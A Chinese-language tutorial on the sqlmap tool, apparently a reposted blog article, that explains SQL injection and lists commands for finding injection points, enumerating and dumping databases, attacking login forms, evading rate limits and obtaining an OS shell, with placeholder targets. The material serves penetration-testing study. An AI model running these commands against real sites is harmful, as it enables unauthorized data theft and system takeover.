sqlmap详细使用教程

文章目录

  • 简介
    • SQL注入
  • 流程
  • 命令参数
  • 拓展

SQLmap用户手册

简介

Sqlmap是一个自动化检测和利用SQL注入漏洞的免费开源工具,对SQL注入漏洞进行检测的最佳工具

  1. 支持对多种数据库进行注入测试,能够自动识别数据库类型并注入

  2. 支持多种注入技术,并且能够自动探测使用合适的注入技术
    如:布尔盲注、时间盲注、联合查询注入、报错注入、堆查询注入

  3. 能够爆破数据库信息,如用户名,密码

  4. 能够自动识别哈希密码,并且使用密码字典进行破解.

SQL注入

  • 原理SQL注入攻击指的是用户输入了特殊的数据拼接到原本程序的代码中,并且当作了SQL语句去执行,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
  • 其实就是用户输入了非法的数据被当作数据库的代码执行了。
  • 危害
    网站用户信息泄露
    纂改网页信息
    获取管理员账号密码
    上传文件(木马)

流程

一、判断是否存在注入点

二、查询数据库信息

三、根据数据库爆破数据表

四、根据数据库名和数据表名爆破字段名

五、爆破字段里面的数据

命令参数

  1. 判断注入点:sqlmap.py -u url(目标地址)
    -u:指定地址
    sqlmap详细使用教程_第1张图片
    给出了测试语句的payload
    在这里插入图片描述
    给出了数据库管理系统的版本以及类别,一般还会爆出操作系统版本等等。
    在这里插入图片描述

  2. 爆破数据库名:sqlmap.py -u http://xxx.com/?id=1 --dbs
    --dbs:查看所有数据库名
    --current-db:查看当前使用的数据库
    sqlmap详细使用教程_第2张图片
    sqlmap详细使用教程_第3张图片

  3. 爆破数据表名:sqlmap.py -u http://xxx.com/?id=1 –D 库名 --tables
    -D:指定数据库名
    --tables:查看指定库下面的所有的表名
    sqlmap详细使用教程_第4张图片

  4. 爆破字段名:sqlmap.py -u http://xxx.com/?id=1 -D 库名 –T 表名 --columns
    -T:指定表名
    --columns:查看指定库的表中的所有字段名
    sqlmap详细使用教程_第5张图片

  5. 爆破所有数据:sqlmap.py -u http://xxx.com/?id=1 -D 库名 –T 表名 -C 字段名 --dump
    -C:指定字段名
    --dump:根据指定的库、表、字段爆破里面的数据
    sqlmap详细使用教程_第6张图片

拓展

  1. Sqlmap对登陆框(表单)进行注入
    使用方式:sqlmap.py -u http://xxx.com/admin/index.php --form
  2. 伪静态注入

--flush-session:清除缓存 //简写 –z flu
--level:共有五个等级,默认为1,等级越高,测试的内容也越多
--risk:共有四个风险等级,默认是1,等级越高,用来测试的语句也更多
-v:显示详细扫描信息,共有5个等级
指定SQLmap跑哪种类型的注入方法

--technique 

B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)

--random-agent  随机请求头  默认情况下是sqlmap
--delay=1 每次探测延时1秒(防止访问过快被ban)
--count 查看数据
--level 1-5 等级越高测试的越完整方向越多 (3 会跑head注入)
--risk 2 测试更多丰富的语句
(--level 3 --risk 2)

--is-dba 看当前注入点的数据库权限
--os-shell 直接获取目标的系统权限   只有在dba为true的时候可能
--proxy=http://127.0.0.1:9090    
--flush-session 忽略缓存继续跑sql注入

你可能感兴趣的:(渗透测试工具,SQL,sqlmap)